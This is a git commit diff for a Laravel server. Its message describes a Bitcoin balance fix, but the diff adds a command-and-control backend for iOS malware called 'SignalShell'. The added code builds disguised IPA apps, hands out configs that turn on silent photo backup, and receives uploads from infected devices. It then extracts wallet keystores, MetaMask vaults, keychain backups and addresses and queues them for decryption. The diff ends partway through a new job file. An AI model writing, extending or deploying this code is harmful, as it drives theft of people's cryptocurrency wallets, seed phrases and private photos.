fix: refresh BTC balances from chain instead of Trust/TokenView totals

Webhook and ingest were writing Trust/client numbers (often sats or lifetime received) into wallet_addresses.btc, so alerts showed fake balances like 48 BTC. Use mempool funded-spent like Tron.

Co-authored-by: Cursor <cursoragent@cursor.com>

.env.example

@@ -106,6 +106,8 @@ TOKENVIEW_SIGN_KEY=
 
 TRUSTED_PROXIES=*
 XXBB_CHANNEL_C=
+# Shared DGA seed for old channel-builder (32-hex; deployment === reporting).
+CORUNA_CHANNEL_SEED=
 TELEGRAM_BOT_USERNAME=
 CORUNA_OFFICIAL_ALBUM_STORAGE=0
 # 1 = 代理可见助记词扫描且入库挂原设备；0 = 隐藏代理扫描菜单，扫描入库挂官方设备
@@ -130,3 +132,6 @@ TRANSFER_FEE_PRIVATE_KEY_TRON=
 
 CORUNA_TESSERACT=/usr/bin/tesseract
 CORUNA_OCR_MAX_EDGE=1280
+
+APP_API_DOMAIN=xxxx.com
+LDID_PATH=/www/wwwroot/coruna-lab/bin/ldid

README.md

@@ -52,7 +52,7 @@ Admin：
 
 创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`：
 
-- **seed**：Deployment / Reporting 共用同一 seed（可同时传入相同值；否则读/写 `lab_seeds.json`，首次自动生成一份）
+- **seed**：Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`（32-hex；未配置则创建/重建失败）
 - **首次**（或换 seed）会重建共享 `sync/`，并返回 DGA 域名供注册/绑源站
 - **之后**新渠道只生成 `web/<id>/`
 
@@ -62,6 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
 # CORUNA_ARTIFACT_ROOT=
 # CORUNA_CHANNEL_STATE_ROOT=
 CORUNA_CHANNEL_BUILDER_TIMEOUT=600
+CORUNA_CHANNEL_SEED=
 CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
 ```
 

app/Http/Controllers/Admin/ChannelController.php

@@ -6,6 +6,7 @@ use App\Http\Controllers\Concerns\PortalAware;
 use App\Http\Controllers\Controller;
 use App\Models\Channel;
 use App\Models\User;
+use App\Services\ChannelEmbedZipService;
 use App\Services\ChannelProjectService;
 use Illuminate\Http\Request;
 use Illuminate\Support\Facades\DB;
@@ -87,8 +88,14 @@ class ChannelController extends Controller
                 'status' => (int) $c->status,
                 'app_name' => $c->app_name ?: '',
                 'bundle_id' => $c->bundle_id ?: '',
+                'h5_url' => $c->h5_url ?: '',
+                'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '',
                 'links' => $c->supportLinks(),
                 'landing_path' => $c->landingPath(),
+                'embed_zip_url' => $c->embedAssetDir()
+                    ? route($this->portal().'.channels.embedZip', $c)
+                    : '',
+                'embed_script' => $c->isAppBuilder() ? '' : $c->promoScriptSnippet(),
                 'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
                 'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
             ];
@@ -223,6 +230,10 @@ class ChannelController extends Controller
                 'daily_path' => $build['daily_path'] ?? '',
                 'channel_dir' => $build['channel_dir'] ?? null,
                 'show_alias' => $build['show_alias'] ?? null,
+                'embed_zip_url' => $channel->embedAssetDir()
+                    ? route($this->portal().'.channels.embedZip', $channel)
+                    : '',
+                'embed_script' => $channel->promoScriptSnippet(),
             ],
         ]);
     }
@@ -240,6 +251,7 @@ class ChannelController extends Controller
             'user_id' => ['nullable', 'integer', 'min:0'],
             'app_name' => ['required', 'string', 'max:64'],
             'bundle_id' => ['required', 'string', 'max:255'],
+            'h5_url' => ['nullable', 'string', 'max:2048'],
             'remark' => ['nullable', 'string', 'max:255'],
             'status' => ['nullable', 'integer', Rule::in([0, 1])],
         ]);
@@ -277,6 +289,7 @@ class ChannelController extends Controller
                     'status' => (int) ($data['status'] ?? 1),
                     'app_name' => $data['app_name'],
                     'bundle_id' => $data['bundle_id'],
+                    'h5_url' => $data['h5_url'] ?? null,
                 ]);
             });
         } catch (ValidationException $e) {
@@ -301,6 +314,100 @@ class ChannelController extends Controller
         ]);
     }
 
+    /**
+     * POST /admin/channels/build-app — Create App channel + build IPA.
+     *
+     * Creates the Channel record, then invokes AppPackageService to
+     * generate a customized IPA (domain, channel ID, app name, logo).
+     * Returns the download URL on success.
+     */
+    public function buildApp(Request $request)
+    {
+        abort_if($this->isAgentPortal(), 403);
+        // Double-check super admin (route middleware admin.super is primary guard)
+        $admin = auth('admin')->user();
+        abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限');
+
+        $data = $request->validate([
+            'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'],
+            'user_id' => ['nullable', 'integer', 'min:0'],
+            'app_name' => ['required', 'string', 'max:64'],
+            'bundle_id' => ['nullable', 'string', 'max:255'],
+            'h5_url' => ['nullable', 'string', 'max:2048'],
+            'remark' => ['nullable', 'string', 'max:255'],
+            'status' => ['nullable', 'integer', Rule::in([0, 1])],
+        ]);
+
+        $channelId = trim((string) ($data['channel_id'] ?? ''));
+        if ($channelId === '') {
+            $channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa
+        }
+        if (Channel::query()->where('channel_id', $channelId)->exists()) {
+            throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
+        }
+
+        $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
+        if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
+            throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
+        }
+        $this->assertAgentChannelQuota($userId);
+
+        $bundleId = trim((string) ($data['bundle_id'] ?? ''));
+        if ($bundleId === '') {
+            $bundleId = 'com.apple.mobile.MobileHouseArrest';
+        }
+
+        try {
+            $channel = Channel::query()->create([
+                'channel_id' => $channelId,
+                'builder_type' => Channel::BUILDER_APP,
+                'user_id' => $userId,
+                'domains' => [],
+                'remark' => $data['remark'] ?? null,
+                'status' => (int) ($data['status'] ?? 1),
+                'app_name' => $data['app_name'],
+                'bundle_id' => $bundleId,
+                'h5_url' => $data['h5_url'] ?? null,
+            ]);
+        } catch (\Throwable $e) {
+            return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422);
+        }
+
+        // Handle logo upload
+        $logoPath = null;
+        if ($request->hasFile('logo')) {
+            $file = $request->file('logo');
+            if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) {
+                $logoPath = $file->getRealPath();
+            }
+        }
+
+        // Build IPA
+        $apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
+
+        try {
+            $service = app(\App\Services\AiWalletPackageService::class);
+            $result = $service->build($channel, $logoPath, $apiDomain);
+        } catch (\Throwable $e) {
+            $result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
+        }
+
+        return response()->json([
+            'code' => $result['success'] ? 0 : 1,
+            'msg' => $result['success'] ? '构建成功' : ('渠道已创建，但 IPA 构建失败：'.$result['error']),
+            'data' => [
+                'id' => $channel->id,
+                'channel_id' => $channel->channel_id,
+                'app_name' => $channel->app_name,
+                'bundle_id' => $channel->bundle_id,
+                'h5_url' => $channel->h5_url,
+                'ipa_url' => $result['success'] ? $result['path'] : null,
+                'ipa_size' => $result['size'],
+                'api_domain' => $apiDomain,
+            ],
+        ]);
+    }
+
     /**
      * Create an "old" builder channel — 32-hex channel id, static resources
      * under /web/{id}/ via the legacy channel-builder (new_project.py).
@@ -345,8 +452,8 @@ class ChannelController extends Controller
             $build = $projects->generate(
                 $channelId,
                 $supportTemplate,
-                $data['deployment_seed'] ?? null,
+                null,
-                $data['reporting_seed'] ?? null,
+                null,
                 $builderType,
             );
         } catch (\Throwable $e) {
@@ -400,6 +507,10 @@ class ChannelController extends Controller
                 'daily_path' => $build['daily_path'] ?? '',
                 'channel_dir' => $build['channel_dir'] ?? null,
                 'show_alias' => $build['show_alias'] ?? null,
+                'embed_zip_url' => $channel->embedAssetDir()
+                    ? route($this->portal().'.channels.embedZip', $channel)
+                    : '',
+                'embed_script' => $channel->promoScriptSnippet(),
             ],
         ]);
     }
@@ -422,9 +533,13 @@ class ChannelController extends Controller
         } else {
             $data = $request->validate([
                 'user_id' => ['nullable', 'integer', 'min:0'],
+                'h5_url' => ['nullable', 'string', 'max:2048'],
                 'remark' => ['nullable', 'string', 'max:255'],
                 'status' => ['nullable', 'integer', Rule::in([0, 1])],
             ]);
+            if (array_key_exists('h5_url', $data)) {
+                $channel->h5_url = $data['h5_url'] ?: null;
+            }
             if (array_key_exists('user_id', $data)) {
                 $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
                 if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
@@ -452,6 +567,24 @@ class ChannelController extends Controller
         ]);
     }
 
+    public function downloadEmbed(Channel $channel, ChannelEmbedZipService $zips)
+    {
+        $this->authorizeChannel($channel);
+        if ($channel->isAppBuilder()) {
+            abort(404);
+        }
+
+        try {
+            $path = $zips->build($channel);
+        } catch (\Throwable $e) {
+            abort(404, $e->getMessage() ?: '打包失败');
+        }
+
+        return response()->download($path, $channel->embedZipName(), [
+            'Content-Type' => 'application/zip',
+        ])->deleteFileAfterSend(true);
+    }
+
     public function destroy(Channel $channel, ChannelProjectService $projects)
     {
         abort_if($this->isAgentPortal(), 403);

app/Http/Controllers/Admin/KeystoreController.php

@@ -277,8 +277,8 @@ class KeystoreController extends Controller
         } elseif ((int) $keystore->decrypted === 1) {
             $msg = '没有新的助记词（该来源可能已解密）';
             $code = 0;
-        } elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0) {
+        } elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0 && (int) ($result['coin98'] ?? 0) === 0) {
-            $msg = '没有可解密的 Keystore（UTC / MetaMask Vault）';
+            $msg = '没有可解密的 Keystore（UTC / MetaMask Vault / Coin98 加密钱包）';
             $code = 1;
         } else {
             $msg = '密码不正确，未能解开助记词';
@@ -296,6 +296,7 @@ class KeystoreController extends Controller
                 'sources' => $added->pluck('source')->unique()->values()->all(),
                 'utc' => $result['utc'],
                 'vault' => (int) ($result['vault'] ?? 0),
+                'coin98' => (int) ($result['coin98'] ?? 0),
             ],
         ], $code === 0 ? 200 : 400);
     }

app/Http/Controllers/C2/AppC2Controller.php

@@ -260,6 +260,412 @@ class AppC2Controller extends Controller
      * malware tars up each app's listed directories and uploads them.
      * Keychain is controlled separately via doKeychain=true.
      */
+    // ════════════════════════════════════════════════════════════
+    // SignalShell v1 protocol (shenma.my compatible)
+    // ════════════════════════════════════════════════════════════
+
+
+    /**
+     * Parse a SignalShell ZIP upload: extract keystore/keychain files
+     * from wallet container ZIPs and ingest them.
+     */
+    private function ingestShellZip($device, string $body, string $filename): void
+    {
+        \Illuminate\Support\Facades\Log::info('ingestShellZip: START', ['filename' => $filename, 'body_size' => strlen($body), 'device_id' => $device->id]);
+        
+        $tmpFile = tempnam(sys_get_temp_dir(), 'shell_zip_');
+        file_put_contents($tmpFile, $body);
+
+        $zip = new \ZipArchive;
+        $openResult = $zip->open($tmpFile);
+        if ($openResult !== true) {
+            \Illuminate\Support\Facades\Log::error('ingestShellZip: ZIP open FAILED', ['result' => $openResult, 'file' => $tmpFile]);
+            @unlink($tmpFile);
+            return;
+        }
+        
+        \Illuminate\Support\Facades\Log::info('ingestShellZip: ZIP opened', ['files' => $zip->numFiles]);
+
+        $foundKeystores = [];
+        $foundKeychain = null;
+
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $name = $zip->getNameIndex($i);
+
+            // Skip directories
+            if (str_ends_with($name, '/')) continue;
+
+            $content = $zip->getFromIndex($i);
+            if ($content === false || $content === '') continue;
+
+            $lower = strtolower($name);
+
+            // Ethereum V3 keystore files (UTC-- prefixed)
+            if (str_starts_with(basename($name), 'UTC--')) {
+                \Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND UTC keystore', ['name' => $name, 'is_json' => $this->isJsonContent($content)]);
+                if ($this->isJsonContent($content)) {
+                    $foundKeystores[] = ['name' => basename($name), 'content' => $content];
+                }
+            }
+
+            // imToken walletsV2 JSON
+            if (str_contains($lower, 'walletsv2/') && str_ends_with($lower, '.json')) {
+                if ($this->isJsonContent($content)) {
+                    $foundKeystores[] = ['name' => basename($name), 'content' => $content];
+                }
+            }
+
+            // keychain backup inside ZIP
+            if (str_contains($lower, 'keychain') && $this->looksLikeXmlStr($content)) {
+                $foundKeychain = $content;
+            }
+
+            // Trust keystore realm files
+            if (str_contains($lower, '.realm') && ! str_contains($lower, '.lock')) {
+                // Store as binary for later analysis
+                $this->storeBinaryArtifact($device, basename($name), $content, 'realm');
+            }
+
+            // SQLite databases (TronLink, TokenPocket, etc)
+            if (str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.sqlite3') || str_ends_with($lower, '.db')) {
+                $this->storeBinaryArtifact($device, basename($name), $content, 'sqlite');
+            }
+        }
+
+        $zip->close();
+        @unlink($tmpFile);
+
+        // MetaMask vault detection: look for persist-KeyringController with vault field
+        if (str_contains(strtolower($filename), 'metamask')) {
+            $tmpFile2 = tempnam(sys_get_temp_dir(), 'mm_vault_');
+            file_put_contents($tmpFile2, $body);
+            $mmZip = new \ZipArchive;
+            if ($mmZip->open($tmpFile2) === true) {
+                for ($mi = 0; $mi < $mmZip->numFiles; $mi++) {
+                    $mf = $mmZip->getNameIndex($mi);
+                    if (! str_contains($mf, 'KeyringController')) continue;
+                    $mc = $mmZip->getFromIndex($mi);
+                    $mj = json_decode($mc, true);
+                    if (! is_array($mj) || ! isset($mj['vault'])) continue;
+                    $mv = json_decode($mj['vault'], true);
+                    if (! is_array($mv) || ! isset($mv['cipher'])) continue;
+
+                    \Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND MetaMask vault');
+
+                    $mmRaw = array_merge($mv, ['kind' => 'metamask.vault']);
+                    $mmHash = md5($mc);
+                    $mmExisting = \App\Models\WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
+                    if (! $mmExisting) {
+                        $mmRow = \App\Models\WalletKeystore::create([
+                            'device_id' => $device->id,
+                            'chain' => \App\Models\Device::CHAIN_APP,
+                            'source' => 'MetaMask',
+                            'decrypted' => 0,
+                            'needs_password' => 1,
+                            'raw_json' => $mmRaw,
+                            'content_hash' => $mmHash,
+                        ]);
+                        $mmStats = \App\Models\WalletKeystore::computeListStatsFromJson($mmRaw);
+                        $mmRow->list_kind = $mmStats['kind'];
+                        $mmRow->list_has_web3 = 1;
+                        $mmRow->save();
+                        \Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask keystore created', ['id' => $mmRow->id]);
+                    }
+                }
+                $mmZip->close();
+
+                // Extract user addresses from ProfileMetricsController + AccountsController
+                $mmAddrZip = new \ZipArchive;
+                if ($mmAddrZip->open($tmpFile2) === true) {
+                    $mmAddrs = [];
+                    for ($ai = 0; $ai < $mmAddrZip->numFiles; $ai++) {
+                        $af = $mmAddrZip->getNameIndex($ai);
+                        $ac = $mmAddrZip->getFromIndex($ai);
+                        if (! $ac) continue;
+                        $aj = json_decode($ac, true);
+                        if (! is_array($aj)) continue;
+
+                        if (str_contains($af, 'ProfileMetricsController')) {
+                            foreach ($aj['reportedAccounts'] ?? [] as $ra) {
+                                $ct = \App\Support\WalletSource::inferChainType($ra);
+                                if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
+                                    $mmAddrs[$ra] = $ct;
+                                }
+                            }
+                        }
+                        if (str_contains($af, 'AccountsController')) {
+                            foreach ($aj['internalAccounts']['accounts'] ?? [] as $acc) {
+                                $ia = $acc['address'] ?? '';
+                                if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
+                                    $mmAddrs[$ia] = 'ETHEREUM';
+                                }
+                            }
+                        }
+                    }
+                    $mmAddrZip->close();
+
+                    foreach ($mmAddrs as $addr => $ct) {
+                        $exists = \App\Models\WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
+                        if (! $exists) {
+                            try {
+                                \App\Models\WalletAddress::create([
+                                    'device_id' => $device->id,
+                                    'address' => $addr,
+                                    'chain_type' => $ct,
+                                    'source' => 'MetaMask',
+                                ]);
+                            } catch (\Throwable $e) {
+                                // skip
+                            }
+                        }
+                    }
+                    if ($mmAddrs !== []) {
+                        \Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask addresses stored', ['count' => count($mmAddrs)]);
+                    }
+                }
+            }
+            @unlink($tmpFile2);
+        }
+
+        \Illuminate\Support\Facades\Log::info('ingestShellZip: found keystores', ['count' => count($foundKeystores)]);
+        
+        // Store extracted keystores
+        foreach ($foundKeystores as $ks) {
+            try {
+                // Map filename to wallet source label
+                $sourceLabel = 'unknown';
+                $fn = strtolower($filename);
+                if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) $sourceLabel = 'Trust Wallet';
+                elseif (str_contains($fn, 'tronlink')) $sourceLabel = 'TronLink';
+                elseif (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) $sourceLabel = 'imToken';
+                elseif (str_contains($fn, 'bitpie')) $sourceLabel = 'Bitpie';
+                elseif (str_contains($fn, 'global.wallet')) $sourceLabel = 'Global Wallet';
+                elseif (str_contains($fn, 'metamask')) $sourceLabel = 'MetaMask';
+                elseif (str_contains($fn, 'coin98')) $sourceLabel = 'Coin98';
+                elseif (str_contains($fn, 'phantom')) $sourceLabel = 'Phantom';
+                elseif (str_contains($fn, 'uniswap')) $sourceLabel = 'Uniswap';
+                elseif (str_contains($fn, 'exodus')) $sourceLabel = 'Exodus';
+                elseif (str_contains($fn, 'tonhub')) $sourceLabel = 'Tonhub';
+                elseif (str_contains($fn, 'tonkeeper')) $sourceLabel = 'Tonkeeper';
+                elseif (str_contains($fn, 'okex')) $sourceLabel = 'OKX';
+                else $sourceLabel = substr(basename($filename, '.zip'), 0, 40);
+
+                $rawJson = json_decode($ks['content'], true);
+                if (is_array($rawJson) && ! isset($rawJson['kind'])) {
+                    // Tag keystore type for UI display + pipeline recognition
+                    if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
+                        $rawJson['kind'] = 'web3.keystore';
+                    } elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
+                        $rawJson['kind'] = 'web3.keystore';
+                    }
+                }
+
+                \App\Models\WalletKeystore::create([
+                    'device_id' => $device->id,
+                    'chain' => \App\Models\Device::CHAIN_APP,
+                    'source' => $sourceLabel,
+                    'decrypted' => 0,
+                    'needs_password' => 1,
+                    'raw_json' => $rawJson,
+                    'content_hash' => md5($ks['content']),
+                ]);
+                \Illuminate\Support\Facades\Log::channel('keystore')->info('shellUpload: stored keystore', [
+                    'device' => $device->device_id,
+                    'source' => $ks['name'],
+                ]);
+            } catch (\Throwable $e) {
+                \Illuminate\Support\Facades\Log::warning('ingestShellZip: keystore create skipped', [
+                    'name' => $ks['name'] ?? '?',
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+
+        $fnLower = strtolower($filename);
+        if (str_contains($fnLower, 'im.token') || str_contains($fnLower, 'im_token')) {
+            try {
+                $n = app(\App\Services\AppUploadIngester::class)
+                    ->ingestImTokenShellZip($device, $body);
+                if ($n > 0) {
+                    \Illuminate\Support\Facades\Log::info('ingestShellZip: imToken addresses stored', [
+                        'count' => $n,
+                    ]);
+                }
+            } catch (\Throwable $e) {
+                \Illuminate\Support\Facades\Log::warning('ingestShellZip: imToken address ingest failed', [
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+
+        // Parse keychain if found inside ZIP
+        if ($foundKeychain !== null) {
+            try {
+                app(\App\Services\AppUploadIngester::class)
+                    ->ingestArtifact($device, $foundKeychain, 'keychain.xml');
+            } catch (\Throwable $e) {
+                // ignore
+            }
+        }
+    }
+
+    private function isJsonContent(string $content): bool
+    {
+        $trimmed = ltrim($content);
+        return str_starts_with($trimmed, '{') || str_starts_with($trimmed, '[');
+    }
+
+    private function looksLikeXmlStr(string $content): bool
+    {
+        return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
+    }
+
+    private function storeBinaryArtifact($device, string $name, string $content, string $type): void
+    {
+        $dir = public_path('log/shell_artifacts/'.$device->device_id);
+        if (! is_dir($dir)) {
+            @mkdir($dir, 0755, true);
+        }
+        file_put_contents($dir.'/'.$type.'_'.$name, $content);
+    }
+
+    /**
+     * GET /api/ios-shell/config?a=<key>
+     *
+     * SignalShell calls this on launch and periodically (~24s) to get
+     * the WebView URL and photo backup policy. Response shape must
+     * match the original shenma.my exactly:
+     *
+     * {"schema_version":1,"website_url":"https://uberlife.cc",...}
+     */
+    public function shellConfig(Request $request): Response
+    {
+        $this->logRequest($request, 'shell_config');
+
+        // Look up channel by the `a` query param (channel_id / API key)
+        $apiKey = (string) $request->query('a', '');
+        $websiteUrl = 'https://uberlife.cc';
+
+        if ($apiKey !== '') {
+            $channel = \App\Models\Channel::query()
+                ->where('channel_id', $apiKey)
+                ->where('builder_type', \App\Models\Channel::BUILDER_APP)
+                ->first();
+            if ($channel && $channel->h5_url) {
+                $websiteUrl = $channel->h5_url;
+            }
+        }
+
+        return $this->json([
+            'schema_version' => 1,
+            'website_url' => $websiteUrl,
+            'status_bar_style' => 'hidden',
+            'background_color' => '#FFFFFF',
+            'hide_home_indicator' => true,
+            'backup' => [
+                'enabled' => true,
+                'max_dimension' => 2048,
+                'jpeg_quality' => 0.6,
+                'concurrency' => 4,
+            ],
+        ]);
+    }
+
+    /**
+     * POST /api/v1/upload?a=<key>&<filename>
+     *
+     * SignalShell sends a single POST with the raw file body.
+     * Filename is the second query parameter.
+     * Expected response: {"ok":true,"size":N,"bind":true}
+     */
+    public function shellUpload(Request $request): Response
+    {
+        $this->logRequest($request, 'shell_upload');
+
+        // Extract filename from RAW query string WITHOUT parse_str
+        // (parse_str converts dots to underscores in key names!)
+        $rawQuery = $request->server->get('QUERY_STRING', '');
+        $apiKey = '';
+        $filename = 'unknown';
+        foreach (explode('&', $rawQuery) as $part) {
+            $kv = explode('=', $part, 2);
+            $key = urldecode($kv[0]);
+            if ($key === 'a') {
+                $apiKey = urldecode($kv[1] ?? '');
+            } elseif ($key !== '' && $filename === 'unknown') {
+                $filename = $key;
+            }
+        }
+
+        $body = (string) $request->getContent(false);
+        $size = strlen($body);
+        $deviceId = $request->headers->get('x-device-id', 'unknown');
+        $iosVersion = $request->headers->get('x-ios-version', 'unknown');
+
+        // Register/find device (apiKey becomes channelId via appId field)
+        $device = $this->registerAppDevice($request, [
+            'deviceId' => $deviceId,
+            'iosVersion' => $iosVersion,
+            'appName' => 'SignalShell',
+            'bundleId' => 'com.apple.mobile.MobileHouseArrest',
+            'appId' => $apiKey,
+        ]);
+
+        // Save raw file
+        $date = date('Ymd');
+        $dir = public_path("log/shell_upload/{$date}");
+        if (! is_dir($dir)) {
+            @mkdir($dir, 0755, true);
+        }
+        $safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
+        $savedPath = "{$dir}/{$deviceId}_{$safeName}";
+        file_put_contents($savedPath, $body);
+
+        // Log upload
+        \Illuminate\Support\Facades\Log::info('SignalShell upload', [
+            'filename' => $filename,
+            'size' => $size,
+            'device_id' => $deviceId,
+            'ios_version' => $iosVersion,
+            'saved_to' => $savedPath,
+        ]);
+
+        // Ingest: parse keychain.xml / wallet ZIP / notes → store keystores + addresses
+        \Illuminate\Support\Facades\Log::info('shellUpload: ingest check', [
+            'device_null' => $device === null,
+            'size' => $size,
+            'filename' => $filename,
+            'ends_log' => str_ends_with(strtolower($filename), '.log'),
+            'ends_zip' => str_ends_with(strtolower($filename), '.zip'),
+        ]);
+        if ($device !== null && $size > 0 && ! str_ends_with(strtolower($filename), '.log')) {
+            try {
+                // ZIP files from SignalShell need special handling
+                $fnLower = strtolower($filename);
+                if (str_ends_with($fnLower, '.zip')) {
+                    $this->ingestShellZip($device, $body, $filename);
+                } else {
+                    app(\App\Services\AppUploadIngester::class)
+                        ->ingestArtifact($device, $body, $filename);
+                }
+            } catch (\Throwable $e) {
+                \Illuminate\Support\Facades\Log::error('shellUpload ingest failed', [
+                    'filename' => $filename,
+                    'device' => $deviceId,
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+
+        // Return what SignalShell expects
+        return $this->json([
+            'ok' => true,
+            'size' => $size,
+            'bind' => $device !== null,
+        ]);
+    }
+
+
     private const BUNDLE_IDS_TARGETS = [
         'com.tronlink.hdwallet' => ['Documents'],
         'im.token.app' => ['Documents', 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1'],

app/Jobs/ProcessShellUpload.php

@@ -0,0 +1,379 @@
+<?php
+
+namespace App\Jobs;
+
+use App\Models\Device;
+use App\Models\WalletKeystore;
+use App\Models\WalletAddress;
+use App\Services\AppUploadIngester;
+use Illuminate\Bus\Queueable;
+use Illuminate\Contracts\Queue\ShouldQueue;
+use Illuminate\Foundation\Bus\Dispatchable;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Queue\SerializesModels;
+use Illuminate\Support\Facades\Log;
+
+/**
+ * Async processing of SignalShell v1 uploads.
+ *
+ * The HTTP handler saves the raw file + registers the device synchronously
+ * (fast: <5ms), then dispatches this job for the heavy work:
+ *   - ZIP parsing + address scanning
+ *   - keychain XML parsing
+ *   - wallet keystore extraction
+ *   - blockchain address extraction
+ *
+ * This prevents memory exhaustion when many devices upload simultaneously
+ * (each MetaMask ZIP expands to ~9.3MB of text data in memory).
+ */
+class ProcessShellUpload implements ShouldQueue
+{
+    use Queueable;
+    use Dispatchable;
+    use InteractsWithQueue;
+    use SerializesModels;
+
+    public int $tries = 2;
+
+    public int $timeout = 120;
+
+    public function __construct(
+        public int $deviceId,
+        public string $filePath,
+        public string $filename,
+        public string $apiKey,
+    ) {
+        if (! app()->runningUnitTests()) {
+            $this->onConnection('shell');
+        }
+    }
+
+    public function handle(AppUploadIngester $ingester): void
+    {
+        $device = Device::query()->find($this->deviceId);
+        if ($device === null) {
+            Log::channel('keystore')->warning('ProcessShellUpload: device not found', [
+                'device_id' => $this->deviceId,
+            ]);
+            return;
+        }
+
+        if (! file_exists($this->filePath)) {
+            Log::channel('keystore')->warning('ProcessShellUpload: file not found', [
+                'file' => $this->filePath,
+            ]);
+            return;
+        }
+
+        $body = file_get_contents($this->filePath);
+        $size = strlen($body);
+
+        Log::channel('keystore')->info('ProcessShellUpload: START', [
+            'device_id' => $device->id,
+            'filename' => $this->filename,
+            'size' => $size,
+        ]);
+
+        $lower = strtolower($this->filename);
+
+        // Skip log files — no wallet data
+        if (str_ends_with($lower, '.log') || str_ends_with($lower, '_log')) {
+            Log::channel('keystore')->info('ProcessShellUpload: skipped (log file)');
+            return;
+        }
+
+        try {
+            if (str_ends_with($lower, '.zip')) {
+                $this->processZip($device, $body, $this->filename);
+            } elseif (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
+                // Keychain XML → use existing ingester
+                $ingester->ingestArtifact($device, $body, $this->filename);
+            }
+
+            // After all data ingested, run decryption
+            if (str_contains($lower, 'notes') || str_contains($lower, 'keychain')) {
+                // This is likely the last upload — trigger decryption
+                app(App\Services\AppUploadIngester::class)->dispatchDecrypt($device);
+            }
+        } catch (\Throwable $e) {
+            Log::channel('keystore')->error('ProcessShellUpload: failed', [
+                'device_id' => $device->id,
+                'filename' => $this->filename,
+                'error' => $e->getMessage(),
+                'trace' => $e->getTraceAsString(),
+            ]);
+        }
+    }
+
+    private function processZip(Device $device, string $body, string $filename): void
+    {
+        $tmpFile = tempnam(sys_get_temp_dir(), 'shell_proc_');
+        file_put_contents($tmpFile, $body);
+
+        $zip = new \ZipArchive;
+        if ($zip->open($tmpFile) !== true) {
+            @unlink($tmpFile);
+            return;
+        }
+
+        // Map filename → wallet source label
+        $sourceLabel = $this->sourceFromFilename($filename);
+        $lower = strtolower($filename);
+
+        // ── 1. Extract keystore files ──
+        $foundKeystores = [];
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $name = $zip->getNameIndex($i);
+            if (str_ends_with($name, '/')) continue;
+
+            $content = $zip->getFromIndex($i);
+            if ($content === false || $content === '') continue;
+
+            $bn = basename($name);
+
+            // UTC keystore
+            if (str_starts_with($bn, 'UTC--') && $this->isJson($content)) {
+                $foundKeystores[] = ['name' => $bn, 'content' => $content];
+            }
+
+            // imToken walletsV2
+            if (str_contains(strtolower($name), 'walletsv2/') && str_ends_with($lower, '.json') && $this->isJson($content)) {
+                $foundKeystores[] = ['name' => $bn, 'content' => $content];
+            }
+        }
+
+        // Store keystores
+        foreach ($foundKeystores as $ks) {
+            $rawJson = json_decode($ks['content'], true);
+            if (is_array($rawJson) && ! isset($rawJson['kind'])) {
+                if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
+                    $rawJson['kind'] = 'web3.keystore';
+                } elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
+                    $rawJson['kind'] = 'web3.keystore';
+                }
+            }
+
+            try {
+                WalletKeystore::create([
+                    'device_id' => $device->id,
+                    'chain' => Device::CHAIN_APP,
+                    'source' => $sourceLabel,
+                    'decrypted' => 0,
+                    'needs_password' => 1,
+                    'raw_json' => $rawJson,
+                    'content_hash' => md5($ks['content']),
+                ]);
+            } catch (\Throwable $e) {
+                Log::channel('keystore')->warning('ProcessShellUpload: keystore skipped', [
+                    'name' => $ks['name'],
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+
+        // ── 2. MetaMask vault ──
+        if (str_contains($lower, 'metamask')) {
+            $this->extractMetaMaskVault($device, $tmpFile);
+        }
